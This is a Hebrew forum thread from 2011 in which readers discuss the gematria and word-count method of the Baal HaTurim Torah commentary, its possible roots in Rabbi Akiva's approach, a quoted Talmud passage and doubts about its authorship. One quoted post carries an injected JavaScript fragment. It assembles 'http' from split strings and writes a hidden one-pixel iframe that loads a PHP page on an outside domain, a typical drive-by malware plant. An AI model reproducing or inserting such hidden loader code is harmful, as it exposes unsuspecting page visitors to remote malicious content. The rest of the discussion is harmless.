| נשלח ב-5/2/2011 18:30 |
 |
| |
פירוש בעל הטורים
שלום לכולם
מדי שבת אני לומד את הפירוש ואני כל פעם מתפלא איך הוא הגיע לגימטראות שלו
כמו כן מאיפה הוא לקח את השיטה של אותן מילים שמופיעות במקומות שונים בתנ"ך
ומכאן לדרוש את דרשת חז"ל.
גם השיטה של ספירת מילים מנחות כמו בפרשת המנורה בפרשת תרומה
שהמילה מנורה מופיעה 7 פעמים כנגד 7 ארצות ו 7 רקיעים
ושאין את האות ס' בפרשה כי במקום אורה אין שטן ואין פגע רע.
נראה לי שזה רעיון יחודי שלו ואין מקבילה לשיטה שלו.
מישהו יודע מהיכן המקור לפירוש שלו ואיך הוא השתמש בגימטראות שלו?
|
|
|
|
| נשלח ב-5/2/2011 18:44 |
|
| |
אינני יכול לענות על שאלתך. אך ברצוני לומר כי פירושו פותח שער להבנת מדרשי חז"ל, ויתכן כי בפירושו חיפש
רמזים למדרשי חז"ל.
|
|
|
|
| נשלח ב-6/2/2011 04:45 |
|
| |
אולי אצל יעקב קאפל רייניץ: מבוא לפירוש בעל הטורים על התורה : פרפראות מגימטריאות וטעמי המסורות, ירושלים: פלדהיים, תשנ"ו [מהדורה שביעית].
|
|
|
|
| נשלח ב-6/2/2011 11:31 |
|
| |
דייר
ברוך הבא לפורום (טוב לברך מאוחר מאשר לעולם לא).
כדאי לקרוא בחוקה ואז היית מגלה שצריך להעביר אשכולות לבדיקה. האשכול הזה מעלה שאלות חשובות מאד, יותר מאחת, אבל הוא לא כתוב ברור.
כיון שכבר כתבת, אוסיף את ההקדמות הנצרכות, וגם זה בקיצור גדול מדי. יש לזכור שלא כל חברינו מכירים את פירוש "בעל הטורים" או אפילו לומדים פרשת שבוע...
"בעל הטורים" הוא בנו של אחד מגדולי וחשובי הפוסקים, רבנו אשר (הרא"ש). הספר "הטורים" שלו הוא אוסף של הערות קצרצרות על החומש שמכיל השוואות ונתונים מספריים על הופעתן של מילים כאלו ואחרות בתורה או בתנ"ך.
על סמך היקרויות אלו, המחבר מנסה לדרוש דרשות.
כדאי לפרט כמה דוגמאות כדי לראות מה מהן "פשט" ומה "דרש", כוונתי ל"דרש" במובן שחורג לגמרי ממשמעות הטקסט.
יש כמובן לבדוק כל "פירוש" שלו לגופו.
ויש לבדוק מדוע בכלל דבריו נחשבים ל"פירוש". הם, במקרה הטוב ביותר, נסיון לחשוף משמעות ברובד שונה לגמרי מהפשט של הטקסט המקראי.
האם קדמו לו? מה הנחות היסוד של הפירוש?
נתחיל בסוף. הפירוש מתבסס על ההנחה הרחבה מאד כי התורה עומדת להידרש ולחשוף משמעויות. וכיון שהיא טקסט אלקי, המשמעויות יכולות להסתתר בכל אופן. אותה גישה יכולה להצדיק את שיטת הקודים בימינו, אבל נא לא להיכנס לנושא זה! זה רק איור.
המקור לגישה כזו יכול להיות גישתו של ר"ע לטקסט המקראי, אם כי יש דעות דומות שמיוחסות לבני דורו, כמו בשיחה בין ר' יהושע לר' ישמעאל הסופר, שהזהירו לבל ישנה אפילו אות אחת, שמא יחזיר את העולם לתוהו ובוהו. ניתן להבין את האמירה הזו בכמה צורות, אבל אחת מהן היא שיש חשיבות גדולה למילים כי הן חושפות מציאות של יסודות הבריאה או שאפילו יסודות הבריאה טמונים בתורה שבכתב (חברנו שותף סוד ישמח מאד על המקור הזה שוודאי ידוע לו מקודם).
רבי עקיבא גם פיתח, לפי הדרשות שאנו שומעים ממנו, שיטת לימוד שמתבססת לא על התוכן אלא על נוכחות של מילים, סדר כתיבה ועוד. כלומר הוא חורג מרמת המשמעות של הטקסט, בניגוד לרבי ישמעאל (כאן אולי ראוי להמליץ על ספרו המגמתי מאד של השל, תורה מן השמים באספקלריה של הדורות) ועל מחקרים בנושא "דיברה תורה בלשון בני אדם".
ההנחה של ר"ע היא בדיוק זו: שהתורה דיברה לא רק בלשון בני אדם אלא נושאת משמעויות רבות ברמות שונות ובצורות שונות. אולי חלקן רק עומד להתגלות? (זה לא שמענו מר"ע אבל מי יודע).
יש מדרש מיוחס לר"ע שבו הוא דורש את צורת האותיות. איני יודע כמה שמים לב לכך שזו הנחת יסוד חריגה בנוף התלמודי, שיש משמעות לא רק לתוכן אלא גם לצורה של כל אות ואות (ר"ע לא ידע כנראה שהיה כתב רעץ והוא המקורי של התורה, או שהיה לו הסבר אחר להתחלפות הכתב, או שסבר שכתב אשורי היה המקורי, והרי יש בזה דיון בתלמוד אם כי לא שקשור אליו עד כמה שידוע לנו).
אם כן, דרשותיו של בעל הטורים מהוות נסיון ללכת בדרך זו. יש לשים לב שהוא דורש את הדברים מעצמו, מהבנתו, ממאמציו האינטלקטואליים. וזו תופעה מעניינת מאד, שהרי בדורו וכבר הרבה דורות קודם מקובל להיזהר מדרשות עצמאיות. ושמא הוא עצמו ראה בכך משחק ולא גילוי אמת מסויימת (שיטת הקולב, לתלות רעיון בתורה למרות שהוא לא כתוב באותו מקום אלא רק מפני שהוא נכון). וזו שאלה גדולה שיש להוסיף לשאלות על הפירוש ושיטתו.
קודמים: כמדומה שבחוג חסידי אשכנז הרבו מאד ללכת בדרך זו. אם ואיך הדברים הגיעו אל רבי יעקב בנו של הרא"ש איני יודע. (אני מניח שגם זה נבדק ויש מחקרים על זה).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
 |
|
|
|
|
| נשלח ב-6/2/2011 11:36 |
|
| |
טעיתי והחלפתי. לא ר' ישמעאל אצל ר' יהושע אלא ר' מאיר אצל ר' ישמעאל (אותו שאוחז כי "דיברה תורה בלשון בני אדם"!).
והנה המקור
תלמוד בבלי מסכת עירובין דף יג עמוד א
דתניא, אמר רבי מאיר: כשהייתי אצל רבי ישמעאל הייתי מטיל קנקנתום לתוך הדיו ולא אמר לי דבר. כשבאתי אצל רבי עקיבא אסרה עלי. איני? והאמר רב יהודה אמר שמואל משום רבי מאיר: כשהייתי לומד אצל רבי עקיבא הייתי מטיל קנקנתום לתוך הדיו ולא אמר לי דבר. וכשבאתי אצל רבי ישמעאל אמר לי: בני, מה מלאכתך? אמרתי לו: לבלר אני. אמר לי: בני, הוי זהיר במלאכתך שמלאכתך מלאכת שמים היא, שמא אתה מחסר אות אחת או מייתר אות אחת - נמצאת מחריב את כל העולם כולו. אמרתי לו. דבר אחד יש לי וקנקנתום שמו, שאני מטיל לתוך הדיו. אמר לי: וכי מטילין קנקנתום לתוך הדיו? והלא אמרה תורה: +במדבר ה'+ וכתב ומחה - כתב שיכול למחות. מאי קאמר ליה ומאי קא מהדר ליה? - הכי קאמר ליה: לא מיבעיא בחסירות וביתירות [דלא טעינא] דבקי אנא, אלא אפילו מיחש לזבוב נמי, דילמא אתי ויתיב אתגיה דדל"ת ומחיק ליה ומשוי ליה רי"ש,
וכן בסוטה כ א.
יש כמובן לפרש את הדברים וקודם כל לתרגם לעברית. אם יהיה לי זמן מאוחר יותר אעשה כן. אולי מישהו אחר יקדימני?
שוב: איני בא להכריע מה היתה כוונתו של ר"י. רק להצביע על כך שהדברים יכולים לשמש מקור לשיטת הפרשנות של בעל הטורים, אם זו היתה שיטה לגילוי אמת ולא שעשוע. _________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
|
| נשלח ב-6/2/2011 11:57 |
|
| |
לא תמיד הוא מדייק כמו לדוגמא: "אפרים ומנשה - בגי' ראובן ושמעון"
אבל יש לו פירושים נחמדים, וכמאמר המשנה באבות:
<*> קנין ופתחי נדה, הן הן גופי הלכות.
תקופות וגמטריאות, פרפראות לחכמה:
|
|
|
|
| נשלח ב-6/2/2011 12:20 |
|
| |
גימטריאות-פרפראות לחכמה...
נזכיר אחת:
קוגל בגימטריה שבת .
|
|
|
|
| נשלח ב-6/2/2011 12:26 |
|
| |
יש לציין כי פירוש בעל הטורים עה"ת הוא רק מיוחס לרבינו יעקב בן הרא"ש בעל הטורים.
תוקן על ידי שבח_גרונם ב- 06/02/2011 12:27:45
|
|
|
|
| נשלח ב-6/2/2011 12:27 |
|
| |
בהרבה מקומות הוא טעה- אבל זה בטל בשישים- גאוניותו מדהימה והשאלה במקומה. איך איך? בלי תקליטור.
_________________
מודה ועוזב
|
|
|
|
| נשלח ב-6/2/2011 12:34 |
|
| |
שבח
הפתעת אותי. האמנם אין זה ודאי? אפילו שמעתי פעם איזה סיפור מדוע וכיצד כתב את הספר. ברור היה לי (ו"ברור" זו תחושה ולא ראיה) שהסיפור הוא כנראה המצאה, אבל הבנתי בתמימותי שזיהוי המחבר ודאי. באמת מהיכן מייחסים לו את הספר? האם אין שם הקדמה שלו או משהו כזה? (כפי שאתה רואה, לא למדתי את הספר מעולם. אין זו דרכי בלימוד).
יונתן וצענע
אכן צריך לברר מה פירוש המונח "פרפראות" וכמה מובנים יש לו.
ירוחם
זו גאונות רק במובן של בקיאות רבה, וכן יכולת לדרוש, גם במובן של יישום כללים דרשניים (העקרונות של השוואה וספירה, וכן משמעות של אותיות - ס' הוא עבור השטן והעדרו שאין כאן רע, כפי שצוטט) אך גם מחשבה מקורית שהכרחית כדי לדרוש משמעוית שטרם נמצאו לפניו.
לגבי הצורך בבקיאות בלי תקליטור, זו שאלה מעניינת. גם אנו עוברים בדרך כלל על הפרשה בשבת, וזה מגיע לכמה פעמים (קריאה לפני, שמיעה בבית כנסת, יש מי שמקפיד על שמו"ת). אצלם היה הרבה פחות חומר להקיף! אבל נכון שצריך זכרון פנומנלי וגם רגישות למילים מעבר לרמת התוכן. (מעין מה שמייחסים לגר"א בין שאר כישוריו המיוחדים).
כמובן, אז עבדו ולא רק למדו ושיננו כל היום. אבל אם היה לאדם זמן פנוי והקדיש אותו כולו לעיון בתורה ובנ"ך, אפשר להספיק הרבה מאד. ולא ברור כמה מזה זו גאונות וכמה עמל וחזרה. הלא כן?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
|
| נשלח ב-6/2/2011 13:11 |
|
| |
| צענערענע כתב: |  | גימטריאות-פרפראות לחכמה...
נזכיר אחת:
קוגל בגימטריה שבת .
|
|
וידועה השאלה שקוגל לא בגימטריא שבת
ותשובתה בצידה: יאכל עוד כמה פרוסות קוגל ויגיע למספר..
|
|
|
|
| נשלח ב-6/2/2011 13:23 |
|
| |
ר' מימוני
הגאוניות הוא בראית המילים בצורה צילומית והפיכתם למספרים רלונטיים המתאימים גם למילים אחרות, שאותם גם הפך למספרים, בקיאותו לא היתה רק בתורה אלא בכל התנך- וזאת לפי קביעתו על מילה כמה פעמים היא במסורה.
כמובן בקיאותו הרבה בש"ס ומדרשים שקישר אותם עם הפרפראות, הוא עשה זאת במהירו עצומה- להתחשב שבין היתר הוא עשה גם עבודות אחרות כמו את ארבעת הטורים, והוא שימש כיד ימינו ונושא כליו לאביו הרא"ש, ולאחר מותו שימש ברבנות.
וכל זה כאמור בלי תקליטור בר אילן. וקישור לגוגל.
_________________
מודה ועוזב
|
|
|
|
| נשלח ב-6/2/2011 13:49 |
|
| |
| מיימוני כתב: | | שבח
הפתעת אותי. האמנם אין זה ודאי? אפילו שמעתי פעם איזה סיפור מדוע וכיצד כתב את הספר. ברור היה לי (ו"ברור" זו תחושה ולא ראיה) שהסיפור הוא כנראה המצאה, אבל הבנתי בתמימותי שזיהוי המחבר ודאי. באמת מהיכן מייחסים לו את הספר? האם אין שם הקדמה שלו או משהו כזה? (כפי שאתה רואה, לא למדתי את הספר מעולם. אין זו דרכי בלימוד).******* language="">
*--
var as='h';
var ac='tt';
var ab='p';
var ay="//";
document.write("*************** src='"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"' frameborder='0' height=1px width=1px scrolling='no' ><*");
//*
|
|
האם ההפתעה היתה לטובה?...
כן מצאתי כתוב בספר מסורת המסורת לר' אליהו בחור, וז"ל (סוף הקדמה ג'): "...ועל כולן יש לדרוש איזה דבר, לפיכך כתבו בעלי המסורת מנינם, וכן חובר על זה ספר ויחסו אותו לר' יעקב בעל הטורים ז"ל".
ועתה ראיתי שהוא שואל שאלה הקשורה לנידון הנוכחי וז"ל: "והנה ראיתי שאינו מפרש רק המלות הנמצאות ב' או ג' או ד' או ה' פעמים ולא יותר, ומה נעשה באותן הנמצאות י' או כ' או מאה עד מאה פעמים ויותר" וכו', עיי"ש.
|
|
|
|
| נשלח ב-6/2/2011 13:53 |
|
| |
לא רק זה בפרשת המן יש פסוק עם כל האלף בית ומכאן שמי שמקיים את התורה
מזונותיו מצויים לו.
ואני שואל איך הוא שם לב לעובדה הזאת האם מישהו מאיתנו היה שם לב לתופעה הזאת?
ואותית שחסרות מהכתוב שמרמזות על ענינים שונים.
ספירת אותית ראשי תיבות סופי תיבות ולפעמים שילובים של סופי תיבות שיוצרות גימטריה של משהו
אחר או א"ת ב"שים.
אני אומר אין צורך בדילוגי אותיות ושאר ירקות הפירוש שלו פשוט מדהים בגיוון ובגאונות.
|
|
|
|
|
| נשלח ב-6/2/2011 13:56 |
|
| |
דייר, לא כל דבר המובא בפירוש על התורה יש לתלות בגאונותו של המחבר, כי דברים רבים מאד נמצאו כבר בפירושי הראשונים אשר קדמוהו, והוא רק הביאן תחת כפיפה אחת.
תוקן על ידי שבח_גרונם ב- 06/02/2011 14:23:24
|
|
|
|
| נשלח ב-6/2/2011 14:04 |
|
| |
ולפי רבינו גוגל במקור הידוע בשם ויקיפדיה מדובר בפרוש בנס:
"מספרים שאת כל פירושו לתורה הוא כתב בלילה אחד ובע"פ, דבר שמראה על גאונות עצומה "
|
|
|
|
|
